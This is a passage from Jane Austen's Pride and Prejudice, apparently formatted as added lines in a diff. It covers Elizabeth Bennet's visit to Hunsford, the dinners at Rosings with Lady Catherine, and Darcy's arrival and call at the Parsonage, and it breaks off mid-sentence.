Mrs. Gardiner gave her the +particulars also of Miss Bingley's visit in Gracechurch Street, and +repeated conversations occurring at different times between Jane and +herself, which proved that the former had, from her heart, given up the +acquaintance. + +Mrs. Gardiner then rallied her niece on Wickham's desertion, and +complimented her on bearing it so well. + +"But my dear Elizabeth," she added, "what sort of girl is Miss King? I +should be sorry to think our friend mercenary." + +"Pray, my dear aunt, what is the difference in matrimonial affairs, +between the mercenary and the prudent motive? Where does discretion end, +and avarice begin? Last Christmas you were afraid of his marrying me, +because it would be imprudent; and now, because he is trying to get +a girl with only ten thousand pounds, you want to find out that he is +mercenary." + +"If you will only tell me what sort of girl Miss King is, I shall know +what to think." + +"She is a very good kind of girl, I believe. I know no harm of her." + +"But he paid her not the smallest attention till her grandfather's death +made her mistress of this fortune." + +"No--why should he? If it were not allowable for him to gain _my_ +affections because I had no money, what occasion could there be for +making love to a girl whom he did not care about, and who was equally +poor?" + +"But there seems an indelicacy in directing his attentions towards her +so soon after this event." + +"A man in distressed circumstances has not time for all those elegant +decorums which other people may observe. If _she_ does not object to it, +why should _we_?" + +"_Her_ not objecting does not justify _him_. It only shows her being +deficient in something herself--sense or feeling." + +"Well," cried Elizabeth, "have it as you choose. _He_ shall be +mercenary, and _she_ shall be foolish." + +"No, Lizzy, that is what I do _not_ choose. I should be sorry, you know, +to think ill of a young man who has lived so long in Derbyshire." + +"Oh! if that is all, I have a very poor opinion of young men who live in +Derbyshire; and their intimate friends who live in Hertfordshire are not +much better. I am sick of them all. Thank Heaven! I am going to-morrow +where I shall find a man who has not one agreeable quality, who has +neither manner nor sense to recommend him. Stupid men are the only ones +worth knowing, after all." + +"Take care, Lizzy; that speech savours strongly of disappointment." + +Before they were separated by the conclusion of the play, she had the +unexpected happiness of an invitation to accompany her uncle and aunt in +a tour of pleasure which they proposed taking in the summer. + +"We have not determined how far it shall carry us," said Mrs. Gardiner, +"but, perhaps, to the Lakes." + +No scheme could have been more agreeable to Elizabeth, and her +acceptance of the invitation was most ready and grateful. "Oh, my dear, +dear aunt," she rapturously cried, "what delight! what felicity! You +give me fresh life and vigour. Adieu to disappointment and spleen. What +are young men to rocks and mountains? Oh! what hours of transport +we shall spend! And when we _do_ return, it shall not be like other +travellers, without being able to give one accurate idea of anything. We +_will_ know where we have gone--we _will_ recollect what we have seen. +Lakes, mountains, and rivers shall not be jumbled together in our +imaginations; nor when we attempt to describe any particular scene, +will we begin quarreling about its relative situation. Let _our_ +first effusions be less insupportable than those of the generality of +travellers." + + + +Chapter 28 + + +Every object in the next day's journey was new and interesting to +Elizabeth; and her spirits were in a state of enjoyment; for she had +seen her sister looking so well as to banish all fear for her health, +and the prospect of her northern tour was a constant source of delight. + +When they left the high road for the lane to Hunsford, every eye was in +search of the Parsonage, and every turning expected to bring it in view. +The palings of Rosings Park was their boundary on one side. Elizabeth +smiled at the recollection of all that she had heard of its inhabitants. + +At length the Parsonage was discernible. The garden sloping to the +road, the house standing in it, the green pales, and the laurel hedge, +everything declared they were arriving. Mr. Collins and Charlotte +appeared at the door, and the carriage stopped at the small gate which +led by a short gravel walk to the house, amidst the nods and smiles of +the whole party. In a moment they were all out of the chaise, rejoicing +at the sight of each other. Mrs. Collins welcomed her friend with the +liveliest pleasure, and Elizabeth was more and more satisfied with +coming when she found herself so affectionately received. She saw +instantly that her cousin's manners were not altered by his marriage; +his formal civility was just what it had been, and he detained her some +minutes at the gate to hear and satisfy his inquiries after all her +family. They were then, with no other delay than his pointing out the +neatness of the entrance, taken into the house; and as soon as they +were in the parlour, he welcomed them a second time, with ostentatious +formality to his humble abode, and punctually repeated all his wife's +offers of refreshment. + +Elizabeth was prepared to see him in his glory; and she could not help +in fancying that in displaying the good proportion of the room, its +aspect and its furniture, he addressed himself particularly to her, +as if wishing to make her feel what she had lost in refusing him. But +though everything seemed neat and comfortable, she was not able to +gratify him by any sigh of repentance, and rather looked with wonder at +her friend that she could have so cheerful an air with such a companion. +When Mr. Collins said anything of which his wife might reasonably be +ashamed, which certainly was not unseldom, she involuntarily turned her +eye on Charlotte. Once or twice she could discern a faint blush; but +in general Charlotte wisely did not hear. After sitting long enough to +admire every article of furniture in the room, from the sideboard to +the fender, to give an account of their journey, and of all that had +happened in London, Mr. Collins invited them to take a stroll in the +garden, which was large and well laid out, and to the cultivation of +which he attended himself. To work in this garden was one of his most +respectable pleasures; and Elizabeth admired the command of countenance +with which Charlotte talked of the healthfulness of the exercise, and +owned she encouraged it as much as possible. Here, leading the way +through every walk and cross walk, and scarcely allowing them an +interval to utter the praises he asked for, every view was pointed out +with a minuteness which left beauty entirely behind. He could number the +fields in every direction, and could tell how many trees there were in +the most distant clump. But of all the views which his garden, or which +the country or kingdom could boast, none were to be compared with the +prospect of Rosings, afforded by an opening in the trees that bordered +the park nearly opposite the front of his house. It was a handsome +modern building, well situated on rising ground. + +From his garden, Mr. Collins would have led them round his two meadows; +but the ladies, not having shoes to encounter the remains of a white +frost, turned back; and while Sir William accompanied him, Charlotte +took her sister and friend over the house, extremely well pleased, +probably, to have the opportunity of showing it without her husband's +help. It was rather small, but well built and convenient; and everything +was fitted up and arranged with a neatness and consistency of which +Elizabeth gave Charlotte all the credit. When Mr. Collins could be +forgotten, there was really an air of great comfort throughout, and by +Charlotte's evident enjoyment of it, Elizabeth supposed he must be often +forgotten. + +She had already learnt that Lady Catherine was still in the country. It +was spoken of again while they were at dinner, when Mr. Collins joining +in, observed: + +"Yes, Miss Elizabeth, you will have the honour of seeing Lady Catherine +de Bourgh on the ensuing Sunday at church, and I need not say you will +be delighted with her. She is all affability and condescension, and I +doubt not but you will be honoured with some portion of her notice +when service is over. I have scarcely any hesitation in saying she +will include you and my sister Maria in every invitation with which she +honours us during your stay here. Her behaviour to my dear Charlotte is +charming. We dine at Rosings twice every week, and are never allowed +to walk home. Her ladyship's carriage is regularly ordered for us. I +_should_ say, one of her ladyship's carriages, for she has several." + +"Lady Catherine is a very respectable, sensible woman indeed," added +Charlotte, "and a most attentive neighbour." + +"Very true, my dear, that is exactly what I say. She is the sort of +woman whom one cannot regard with too much deference." + +The evening was spent chiefly in talking over Hertfordshire news, +and telling again what had already been written; and when it closed, +Elizabeth, in the solitude of her chamber, had to meditate upon +Charlotte's degree of contentment, to understand her address in guiding, +and composure in bearing with, her husband, and to acknowledge that it +was all done very well. She had also to anticipate how her visit +would pass, the quiet tenor of their usual employments, the vexatious +interruptions of Mr. Collins, and the gaieties of their intercourse with +Rosings. A lively imagination soon settled it all. + +About the middle of the next day, as she was in her room getting ready +for a walk, a sudden noise below seemed to speak the whole house in +confusion; and, after listening a moment, she heard somebody running +up stairs in a violent hurry, and calling loudly after her. She opened +the door and met Maria in the landing place, who, breathless with +agitation, cried out-- + +"Oh, my dear Eliza! pray make haste and come into the dining-room, for +there is such a sight to be seen! I will not tell you what it is. Make +haste, and come down this moment." + +Elizabeth asked questions in vain; Maria would tell her nothing more, +and down they ran into the dining-room, which fronted the lane, in +quest of this wonder; It was two ladies stopping in a low phaeton at the +garden gate. + +"And is this all?" cried Elizabeth. "I expected at least that the pigs +were got into the garden, and here is nothing but Lady Catherine and her +daughter." + +"La! my dear," said Maria, quite shocked at the mistake, "it is not +Lady Catherine. The old lady is Mrs. Jenkinson, who lives with them; +the other is Miss de Bourgh. Only look at her. She is quite a little +creature. Who would have thought that she could be so thin and small?" + +"She is abominably rude to keep Charlotte out of doors in all this wind. +Why does she not come in?" + +"Oh, Charlotte says she hardly ever does. It is the greatest of favours +when Miss de Bourgh comes in." + +"I like her appearance," said Elizabeth, struck with other ideas. "She +looks sickly and cross. Yes, she will do for him very well. She will +make him a very proper wife." + +Mr. Collins and Charlotte were both standing at the gate in conversation +with the ladies; and Sir William, to Elizabeth's high diversion, was +stationed in the doorway, in earnest contemplation of the greatness +before him, and constantly bowing whenever Miss de Bourgh looked that +way. + +At length there was nothing more to be said; the ladies drove on, and +the others returned into the house. Mr. Collins no sooner saw the two +girls than he began to congratulate them on their good fortune, which +Charlotte explained by letting them know that the whole party was asked +to dine at Rosings the next day. + + + +Chapter 29 + + +Mr. Collins's triumph, in consequence of this invitation, was complete. +The power of displaying the grandeur of his patroness to his wondering +visitors, and of letting them see her civility towards himself and his +wife, was exactly what he had wished for; and that an opportunity +of doing it should be given so soon, was such an instance of Lady +Catherine's condescension, as he knew not how to admire enough. + +"I confess," said he, "that I should not have been at all surprised by +her ladyship's asking us on Sunday to drink tea and spend the evening at +Rosings. I rather expected, from my knowledge of her affability, that it +would happen. But who could have foreseen such an attention as this? Who +could have imagined that we should receive an invitation to dine there +(an invitation, moreover, including the whole party) so immediately +after your arrival!" + +"I am the less surprised at what has happened," replied Sir William, +"from that knowledge of what the manners of the great really are, which +my situation in life has allowed me to acquire. About the court, such +instances of elegant breeding are not uncommon." + +Scarcely anything was talked of the whole day or next morning but their +visit to Rosings. Mr. Collins was carefully instructing them in what +they were to expect, that the sight of such rooms, so many servants, and +so splendid a dinner, might not wholly overpower them. + +When the ladies were separating for the toilette, he said to Elizabeth-- + +"Do not make yourself uneasy, my dear cousin, about your apparel. Lady +Catherine is far from requiring that elegance of dress in us which +becomes herself and her daughter. I would advise you merely to put on +whatever of your clothes is superior to the rest--there is no occasion +for anything more. Lady Catherine will not think the worse of you +for being simply dressed. She likes to have the distinction of rank +preserved." + +While they were dressing, he came two or three times to their different +doors, to recommend their being quick, as Lady Catherine very much +objected to be kept waiting for her dinner. Such formidable accounts of +her ladyship, and her manner of living, quite frightened Maria Lucas +who had been little used to company, and she looked forward to her +introduction at Rosings with as much apprehension as her father had done +to his presentation at St. James's. + +As the weather was fine, they had a pleasant walk of about half a +mile across the park. Every park has its beauty and its prospects; and +Elizabeth saw much to be pleased with, though she could not be in such +raptures as Mr. Collins expected the scene to inspire, and was but +slightly affected by his enumeration of the windows in front of the +house, and his relation of what the glazing altogether had originally +cost Sir Lewis de Bourgh. + +When they ascended the steps to the hall, Maria's alarm was every +moment increasing, and even Sir William did not look perfectly calm. +Elizabeth's courage did not fail her. She had heard nothing of Lady +Catherine that spoke her awful from any extraordinary talents or +miraculous virtue, and the mere stateliness of money or rank she thought +she could witness without trepidation. + +From the entrance-hall, of which Mr. Collins pointed out, with a +rapturous air, the fine proportion and the finished ornaments, they +followed the servants through an ante-chamber, to the room where Lady +Catherine, her daughter, and Mrs. Jenkinson were sitting. Her ladyship, +with great condescension, arose to receive them; and as Mrs. Collins had +settled it with her husband that the office of introduction should +be hers, it was performed in a proper manner, without any of those +apologies and thanks which he would have thought necessary. + +In spite of having been at St. James's, Sir William was so completely +awed by the grandeur surrounding him, that he had but just courage +enough to make a very low bow, and take his seat without saying a word; +and his daughter, frightened almost out of her senses, sat on the edge +of her chair, not knowing which way to look. Elizabeth found herself +quite equal to the scene, and could observe the three ladies before her +composedly. Lady Catherine was a tall, large woman, with strongly-marked +features, which might once have been handsome. Her air was not +conciliating, nor was her manner of receiving them such as to make her +visitors forget their inferior rank. She was not rendered formidable by +silence; but whatever she said was spoken in so authoritative a tone, +as marked her self-importance, and brought Mr. Wickham immediately to +Elizabeth's mind; and from the observation of the day altogether, she +believed Lady Catherine to be exactly what he represented. + +When, after examining the mother, in whose countenance and deportment +she soon found some resemblance of Mr. Darcy, she turned her eyes on the +daughter, she could almost have joined in Maria's astonishment at her +being so thin and so small. There was neither in figure nor face any +likeness between the ladies. Miss de Bourgh was pale and sickly; her +features, though not plain, were insignificant; and she spoke very +little, except in a low voice, to Mrs. Jenkinson, in whose appearance +there was nothing remarkable, and who was entirely engaged in listening +to what she said, and placing a screen in the proper direction before +her eyes. + +After sitting a few minutes, they were all sent to one of the windows to +admire the view, Mr. Collins attending them to point out its beauties, +and Lady Catherine kindly informing them that it was much better worth +looking at in the summer. + +The dinner was exceedingly handsome, and there were all the servants and +all the articles of plate which Mr. Collins had promised; and, as he had +likewise foretold, he took his seat at the bottom of the table, by her +ladyship's desire, and looked as if he felt that life could furnish +nothing greater. He carved, and ate, and praised with delighted +alacrity; and every dish was commended, first by him and then by Sir +William, who was now enough recovered to echo whatever his son-in-law +said, in a manner which Elizabeth wondered Lady Catherine could bear. +But Lady Catherine seemed gratified by their excessive admiration, and +gave most gracious smiles, especially when any dish on the table proved +a novelty to them. The party did not supply much conversation. Elizabeth +was ready to speak whenever there was an opening, but she was seated +between Charlotte and Miss de Bourgh--the former of whom was engaged in +listening to Lady Catherine, and the latter said not a word to her all +dinner-time. Mrs. Jenkinson was chiefly employed in watching how little +Miss de Bourgh ate, pressing her to try some other dish, and fearing +she was indisposed. Maria thought speaking out of the question, and the +gentlemen did nothing but eat and admire. + +When the ladies returned to the drawing-room, there was little to +be done but to hear Lady Catherine talk, which she did without any +intermission till coffee came in, delivering her opinion on every +subject in so decisive a manner, as proved that she was not used to +have her judgement controverted. She inquired into Charlotte's domestic +concerns familiarly and minutely, gave her a great deal of advice as +to the management of them all; told her how everything ought to be +regulated in so small a family as hers, and instructed her as to the +care of her cows and her poultry. Elizabeth found that nothing was +beneath this great lady's attention, which could furnish her with an +occasion of dictating to others. In the intervals of her discourse +with Mrs. Collins, she addressed a variety of questions to Maria and +Elizabeth, but especially to the latter, of whose connections she knew +the least, and who she observed to Mrs. Collins was a very genteel, +pretty kind of girl. She asked her, at different times, how many sisters +she had, whether they were older or younger than herself, whether any of +them were likely to be married, whether they were handsome, where they +had been educated, what carriage her father kept, and what had been +her mother's maiden name? Elizabeth felt all the impertinence of +her questions but answered them very composedly. Lady Catherine then +observed, + +"Your father's estate is entailed on Mr. Collins, I think. For your +sake," turning to Charlotte, "I am glad of it; but otherwise I see no +occasion for entailing estates from the female line. It was not thought +necessary in Sir Lewis de Bourgh's family. Do you play and sing, Miss +Bennet?" + +"A little." + +"Oh! then--some time or other we shall be happy to hear you. Our +instrument is a capital one, probably superior to----You shall try it +some day. Do your sisters play and sing?" + +"One of them does." + +"Why did not you all learn? You ought all to have learned. The Miss +Webbs all play, and their father has not so good an income as yours. Do +you draw?" + +"No, not at all." + +"What, none of you?" + +"Not one." + +"That is very strange. But I suppose you had no opportunity. Your mother +should have taken you to town every spring for the benefit of masters." + +"My mother would have had no objection, but my father hates London." + +"Has your governess left you?" + +"We never had any governess." + +"No governess! How was that possible? Five daughters brought up at home +without a governess! I never heard of such a thing. Your mother must +have been quite a slave to your education." + +Elizabeth could hardly help smiling as she assured her that had not been +the case. + +"Then, who taught you? who attended to you? Without a governess, you +must have been neglected." + +"Compared with some families, I believe we were; but such of us as +wished to learn never wanted the means. We were always encouraged to +read, and had all the masters that were necessary. Those who chose to be +idle, certainly might." + +"Aye, no doubt; but that is what a governess will prevent, and if I had +known your mother, I should have advised her most strenuously to engage +one. I always say that nothing is to be done in education without steady +and regular instruction, and nobody but a governess can give it. It is +wonderful how many families I have been the means of supplying in that +way. I am always glad to get a young person well placed out. Four nieces +of Mrs. Jenkinson are most delightfully situated through my means; and +it was but the other day that I recommended another young person, +who was merely accidentally mentioned to me, and the family are quite +delighted with her. Mrs. Collins, did I tell you of Lady Metcalf's +calling yesterday to thank me? She finds Miss Pope a treasure. 'Lady +Catherine,' said she, 'you have given me a treasure.' Are any of your +younger sisters out, Miss Bennet?" + +"Yes, ma'am, all." + +"All! What, all five out at once? Very odd! And you only the second. The +younger ones out before the elder ones are married! Your younger sisters +must be very young?" + +"Yes, my youngest is not sixteen. Perhaps _she_ is full young to be +much in company. But really, ma'am, I think it would be very hard upon +younger sisters, that they should not have their share of society and +amusement, because the elder may not have the means or inclination to +marry early. The last-born has as good a right to the pleasures of youth +as the first. And to be kept back on _such_ a motive! I think it would +not be very likely to promote sisterly affection or delicacy of mind." + +"Upon my word," said her ladyship, "you give your opinion very decidedly +for so young a person. Pray, what is your age?" + +"With three younger sisters grown up," replied Elizabeth, smiling, "your +ladyship can hardly expect me to own it." + +Lady Catherine seemed quite astonished at not receiving a direct answer; +and Elizabeth suspected herself to be the first creature who had ever +dared to trifle with so much dignified impertinence. + +"You cannot be more than twenty, I am sure, therefore you need not +conceal your age." + +"I am not one-and-twenty." + +When the gentlemen had joined them, and tea was over, the card-tables +were placed. Lady Catherine, Sir William, and Mr. and Mrs. Collins sat +down to quadrille; and as Miss de Bourgh chose to play at cassino, the +two girls had the honour of assisting Mrs. Jenkinson to make up her +party. Their table was superlatively stupid. Scarcely a syllable was +uttered that did not relate to the game, except when Mrs. Jenkinson +expressed her fears of Miss de Bourgh's being too hot or too cold, or +having too much or too little light. A great deal more passed at the +other table. Lady Catherine was generally speaking--stating the mistakes +of the three others, or relating some anecdote of herself. Mr. Collins +was employed in agreeing to everything her ladyship said, thanking her +for every fish he won, and apologising if he thought he won too many. +Sir William did not say much. He was storing his memory with anecdotes +and noble names. + +When Lady Catherine and her daughter had played as long as they chose, +the tables were broken up, the carriage was offered to Mrs. Collins, +gratefully accepted and immediately ordered. The party then gathered +round the fire to hear Lady Catherine determine what weather they were +to have on the morrow. From these instructions they were summoned by +the arrival of the coach; and with many speeches of thankfulness on Mr. +Collins's side and as many bows on Sir William's they departed. As soon +as they had driven from the door, Elizabeth was called on by her cousin +to give her opinion of all that she had seen at Rosings, which, for +Charlotte's sake, she made more favourable than it really was. But her +commendation, though costing her some trouble, could by no means satisfy +Mr. Collins, and he was very soon obliged to take her ladyship's praise +into his own hands. + + + +Chapter 30 + + +Sir William stayed only a week at Hunsford, but his visit was long +enough to convince him of his daughter's being most comfortably settled, +and of her possessing such a husband and such a neighbour as were not +often met with. While Sir William was with them, Mr. Collins devoted his +morning to driving him out in his gig, and showing him the country; but +when he went away, the whole family returned to their usual employments, +and Elizabeth was thankful to find that they did not see more of her +cousin by the alteration, for the chief of the time between breakfast +and dinner was now passed by him either at work in the garden or in +reading and writing, and looking out of the window in his own book-room, +which fronted the road. The room in which the ladies sat was backwards. +Elizabeth had at first rather wondered that Charlotte should not prefer +the dining-parlour for common use; it was a better sized room, and had a +more pleasant aspect; but she soon saw that her friend had an excellent +reason for what she did, for Mr. Collins would undoubtedly have been +much less in his own apartment, had they sat in one equally lively; and +she gave Charlotte credit for the arrangement. + +From the drawing-room they could distinguish nothing in the lane, and +were indebted to Mr. Collins for the knowledge of what carriages went +along, and how often especially Miss de Bourgh drove by in her phaeton, +which he never failed coming to inform them of, though it happened +almost every day. She not unfrequently stopped at the Parsonage, and +had a few minutes' conversation with Charlotte, but was scarcely ever +prevailed upon to get out. + +Very few days passed in which Mr. Collins did not walk to Rosings, and +not many in which his wife did not think it necessary to go likewise; +and till Elizabeth recollected that there might be other family livings +to be disposed of, she could not understand the sacrifice of so many +hours. Now and then they were honoured with a call from her ladyship, +and nothing escaped her observation that was passing in the room during +these visits. She examined into their employments, looked at their work, +and advised them to do it differently; found fault with the arrangement +of the furniture; or detected the housemaid in negligence; and if she +accepted any refreshment, seemed to do it only for the sake of finding +out that Mrs. Collins's joints of meat were too large for her family. + +Elizabeth soon perceived, that though this great lady was not in +commission of the peace of the county, she was a most active magistrate +in her own parish, the minutest concerns of which were carried to her +by Mr. Collins; and whenever any of the cottagers were disposed to +be quarrelsome, discontented, or too poor, she sallied forth into the +village to settle their differences, silence their complaints, and scold +them into harmony and plenty. + +The entertainment of dining at Rosings was repeated about twice a week; +and, allowing for the loss of Sir William, and there being only one +card-table in the evening, every such entertainment was the counterpart +of the first. Their other engagements were few, as the style of living +in the neighbourhood in general was beyond Mr. Collins's reach. This, +however, was no evil to Elizabeth, and upon the whole she spent her time +comfortably enough; there were half-hours of pleasant conversation with +Charlotte, and the weather was so fine for the time of year that she had +often great enjoyment out of doors. Her favourite walk, and where she +frequently went while the others were calling on Lady Catherine, was +along the open grove which edged that side of the park, where there was +a nice sheltered path, which no one seemed to value but herself, and +where she felt beyond the reach of Lady Catherine's curiosity. + +In this quiet way, the first fortnight of her visit soon passed away. +Easter was approaching, and the week preceding it was to bring an +addition to the family at Rosings, which in so small a circle must be +important. Elizabeth had heard soon after her arrival that Mr. Darcy was +expected there in the course of a few weeks, and though there were not +many of her acquaintances whom she did not prefer, his coming would +furnish one comparatively new to look at in their Rosings parties, and +she might be amused in seeing how hopeless Miss Bingley's designs on him +were, by his behaviour to his cousin, for whom he was evidently +destined by Lady Catherine, who talked of his coming with the greatest +satisfaction, spoke of him in terms of the highest admiration, and +seemed almost angry to find that he had already been frequently seen by +Miss Lucas and herself. + +His arrival was soon known at the Parsonage; for Mr. Collins was walking +the whole morning within view of the lodges opening into Hunsford Lane, +in order to have the earliest assurance of it, and after making his +bow as the carriage turned into the Park, hurried home with the great +intelligence. On the following morning he hastened to Rosings to pay his +respects. There were two nephews of Lady Catherine to require them, for +Mr. Darcy had brought with him a Colonel Fitzwilliam, the younger son of +his uncle Lord ----, and, to the great surprise of all the party, when +Mr. Collins returned, the gentlemen accompanied him. Charlotte had seen +them from her husband's room, crossing the road, and immediately running +into the other, told the girls what an honour they might expect, adding: + +"I may thank you, Eliza, for this piece of civility. Mr. Darcy would +never have come so soon to wait upon me." + +Elizabeth had scarcely time to disclaim all right to the compliment, +before their approach was announced by the door-bell, and shortly +afterwards the three gentlemen entered the room. Colonel Fitzwilliam, +who led the way, was about thirty, not handsome, but in person and +address most truly the gentleman. Mr. Darcy looked just as he had been +used to look in Hertfordshire--paid his compliments, with his usual +reserve, to Mrs. Collins, and whatever might be his feelings toward her +friend, met her with every appearance of composure. Elizabeth merely +curtseyed to him without saying a word. + +Colonel Fitzwilliam entered into conversation directly with the +readiness and ease of a well-bred man, and talked very pleasantly; but +his cousin, after having addressed a slight observation on the house and +garden to Mrs. Collins, sat for some time without speaking to anybody. +At length, however, his civility was so far awakened as to inquire of +Elizabeth after the health of her family. She answered him in the usual +way, and after a moment's pause, added: + +"My eldest sister has been in town these three months. Have you never +happened to see her there?" + +She was perfectly sensible that he never had; but she wished to see +whether he would betray any consciousness of what had passed between +the Bingleys and Jane, and she thought he looked a little confused as he +answered that he had never been so fortunate as to meet Miss Bennet. The +subject was pursued no farther, and the gentlemen soon afterwards went +away. + + + +Chapter 31 + + +Colonel Fitzwilliam's manners were very much admired at the Parsonage, +and the ladies all felt that he must add considerably to the pleasures +of their engagements at Rosings. It was some days, however, before they +received any invitation thither--for while there were visitors in the +house, they could not be necessary; and it was not till Easter-day, +almost a week after the gentlemen's arrival, that they were honoured by +such an attention, and then they were merely asked on leaving church to +come there in the evening. For the last week they had seen very little +of Lady Catherine or her daughter. Colonel Fitzwilliam had called at the +Parsonage more than once during the time, but Mr. Darcy they had seen +only at church. + +The invitation was accepted of course, and at a proper hour they joined +the party in Lady Catherine's drawing-room. Her ladyship received +them civilly, but it was plain that their company was by no means so +acceptable as when she could get nobody else; and she was, in fact, +almost engrossed by her nephews, speaking to them, especially to Darcy, +much more than to any other person in the room. + +Colonel Fitzwilliam seemed really glad to see them; anything was a +welcome relief to him at Rosings; and Mrs. Collins's pretty friend had +moreover caught his fancy very much. He now seated himself by her, and +talked so agreeably of Kent and Hertfordshire, of travelling and staying +at home, of new books and music, that Elizabeth had never been half so +well entertained in that room before; and they conversed with so much +spirit and flow, as to draw the attention of Lady Catherine herself, +as well as of Mr. Darcy. _His_ eyes had been soon and repeatedly turned +towards them with a look of curiosity; and that her ladyship, after a +while, shared the feeling, was more openly acknowledged, for she did not +scruple to call out: + +"What is that you are saying, Fitzwilliam? What is it you are talking +of? What are you telling Miss Bennet? Let me hear what it is." + +"We are speaking of music, madam," said he, when no longer able to avoid +a reply. + +"Of music! Then pray speak aloud. It is of all subjects my delight. I +must have my share in the conversation if you are speaking of music. +There are few people in England, I suppose, who have more true enjoyment +of music than myself, or a better natural taste. If I had ever learnt, +I should have been a great proficient. And so would Anne, if her health +had allowed her to apply. I am confident that she would have performed +delightfully. How does Georgiana get on, Darcy?" + +Mr. Darcy spoke with affectionate praise of his sister's proficiency. + +"I am very glad to hear such a good account of her," said Lady +Catherine; "and pray tell her from me, that she cannot expect to excel +if she does not practice a good deal." + +"I assure you, madam," he replied, "that she does not need such advice. +She practises very constantly." + +"So much the better. It cannot be done too much; and when I next write +to her, I shall charge her not to neglect it on any account. I often +tell young ladies that no excellence in music is to be acquired without +constant practice. I have told Miss Bennet several times, that she +will never play really well unless she practises more; and though Mrs. +Collins has no instrument, she is very welcome, as I have often told +her, to come to Rosings every day, and play on the pianoforte in Mrs. +Jenkinson's room. She would be in nobody's way, you know, in that part +of the house." + +Mr. Darcy looked a little ashamed of his aunt's ill-breeding, and made +no answer. + +When coffee was over, Colonel Fitzwilliam reminded Elizabeth of having +promised to play to him; and she sat down directly to the instrument. He +drew a chair near her. Lady Catherine listened to half a song, and then +talked, as before, to her other nephew; till the latter walked away +from her, and making with his usual deliberation towards the pianoforte +stationed himself so as to command a full view of the fair performer's +countenance. Elizabeth saw what he was doing, and at the first +convenient pause, turned to him with an arch smile, and said: + +"You mean to frighten me, Mr. Darcy, by coming in all this state to hear +me? I will not be alarmed though your sister _does_ play so well. There +is a stubbornness about me that never can bear to be frightened at the +will of others. My courage always rises at every attempt to intimidate +me." + +"I shall not say you are mistaken," he replied, "because you could not +really believe me to entertain any design of alarming you; and I have +had the pleasure of your acquaintance long enough to know that you find +great enjoyment in occasionally professing opinions which in fact are +not your own." + +Elizabeth laughed heartily at this picture of herself, and said to +Colonel Fitzwilliam, "Your cousin will give you a very pretty notion of +me, and teach you not to believe a word I say. I am particularly unlucky +in meeting with a person so able to expose my real character, in a part +of the world where I had hoped to pass myself off with some degree of +credit. Indeed, Mr. Darcy, it is very ungenerous in you to mention all +that you knew to my disadvantage in Hertfordshire--and, give me leave to +say, very impolitic too--for it is provoking me to retaliate, and such +things may come out as will shock your relations to hear." + +"I am not afraid of you," said he, smilingly. + +"Pray let me hear what you have to accuse him of," cried Colonel +Fitzwilliam. "I should like to know how he behaves among strangers." + +"You shall hear then--but prepare yourself for something very dreadful. +The first time of my ever seeing him in Hertfordshire, you must know, +was at a ball--and at this ball, what do you think he did? He danced +only four dances, though gentlemen were scarce; and, to my certain +knowledge, more than one young lady was sitting down in want of a +partner. Mr. Darcy, you cannot deny the fact." + +"I had not at that time the honour of knowing any lady in the assembly +beyond my own party." + +"True; and nobody can ever be introduced in a ball-room. Well, Colonel +Fitzwilliam, what do I play next? My fingers wait your orders." + +"Perhaps," said Darcy, "I should have judged better, had I sought an +introduction; but I am ill-qualified to recommend myself to strangers." + +"Shall we ask your cousin the reason of this?" said Elizabeth, still +addressing Colonel Fitzwilliam. "Shall we ask him why a man of sense and +education, and who has lived in the world, is ill qualified to recommend +himself to strangers?" + +"I can answer your question," said Fitzwilliam, "without applying to +him. It is because he will not give himself the trouble." + +"I certainly have not the talent which some people possess," said Darcy, +"of conversing easily with those I have never seen before. I cannot +catch their tone of conversation, or appear interested in their +concerns, as I often see done." + +"My fingers," said Elizabeth, "do not move over this instrument in the +masterly manner which I see so many women's do. They have not the same +force or rapidity, and do not produce the same expression. But then I +have always supposed it to be my own fault--because I will not take the +trouble of practising. It is not that I do not believe _my_ fingers as +capable as any other woman's of superior execution." + +Darcy smiled and said, "You are perfectly right. You have employed your +time much better. No one admitted to the privilege of hearing you can +think anything wanting. We neither of us perform to strangers." + +Here they were interrupted by Lady Catherine, who called out to know +what they were talking of. Elizabeth immediately began playing again. +Lady Catherine approached, and, after listening for a few minutes, said +to Darcy: + +"Miss Bennet would not play at all amiss if she practised more, and +could have the advantage of a London master. She has a very good notion +of fingering, though her taste is not equal to Anne's. Anne would have +been a delightful performer, had her health allowed her to learn." + +Elizabeth looked at Darcy to see how cordially he assented to his +cousin's praise; but neither at that moment nor at any other could she +discern any symptom of love; and from the whole of his behaviour to Miss +de Bourgh she derived this comfort for Miss Bingley, that he might have +been just as likely to marry _her_, had she been his relation. + +Lady Catherine continued her remarks on Elizabeth's performance, mixing +with them many instructions on execution and taste. Elizabeth received +them with all the forbearance of civility, and, at the request of the +gentlemen, remained at the instrument till her ladyship's carriage was +ready to take them all home. + + + +Chapter 32 + + +Elizabeth was sitting by herself the next morning, and writing to Jane +while Mrs. Collins and Maria were gone on business into the village, +when she was startled by a ring at the door, the certain signal of a +visitor. As she had heard no carriage, she thought it not unlikely to +be Lady Catherine, and under that apprehension was putting away her +half-finished letter that she might escape all impertinent questions, +when the door opened, and, to her very great surprise, Mr. Darcy, and +Mr. Darcy only, entered the room. + +He seemed astonished too on finding her alone, and apologised for his +intrusion by letting her know that he had understood all the ladies were +to be within. + +They then sat down, and when her inquiries after Rosings were made, +seemed in danger of sinking into total silence. It was absolutely +necessary, therefore, to think of something, and in this emergence +recollecting _when_ she had seen him last in Hertfordshire, and +feeling curious to know what he would say on the subject of their hasty +departure, she observed: + +"How very suddenly you all quitted Netherfield last November, Mr. Darcy! +It must have been a most agreeable surprise to Mr. Bingley to see you +all after him so soon; for, if I recollect right, he went but the day +before. He and his sisters were well, I hope, when you left London?" + +"Perfectly so, I thank you." + +She found that she was to receive no other answer, and, after a short +pause added: + +"I think I have understood that Mr. Bingley has not much idea of ever +returning to Netherfield again?" + +"I have never heard him say so; but it is probable that he may spend +very little of his time there in the future. He has many friends, and +is at a time of life when friends and engagements are continually +increasing." + +"If he means to be but little at Netherfield, it would be better for +the neighbourhood that he should give up the place entirely, for then we +might possibly get a settled family there. But, perhaps, Mr. Bingley did +not take the house so much for the convenience of the neighbourhood as +for his own, and we must expect him to keep it or quit it on the same +principle." + +"I should not be surprised," said Darcy, "if he were to give it up as +soon as any eligible purchase offers." + +Elizabeth made no answer. She was afraid of talking longer of his +friend; and, having nothing else to say, was now determined to leave the +trouble of finding a subject to him. + +He took the hint, and soon began with, "This seems a very comfortable +house. Lady Catherine, I believe, did a great deal to it when Mr. +Collins first came to Hunsford." + +"I believe she did--and I am sure she could not have bestowed her +kindness on a more grateful object." + +"Mr. Collins appears to be very fortunate in his choice of a wife." + +"Yes, 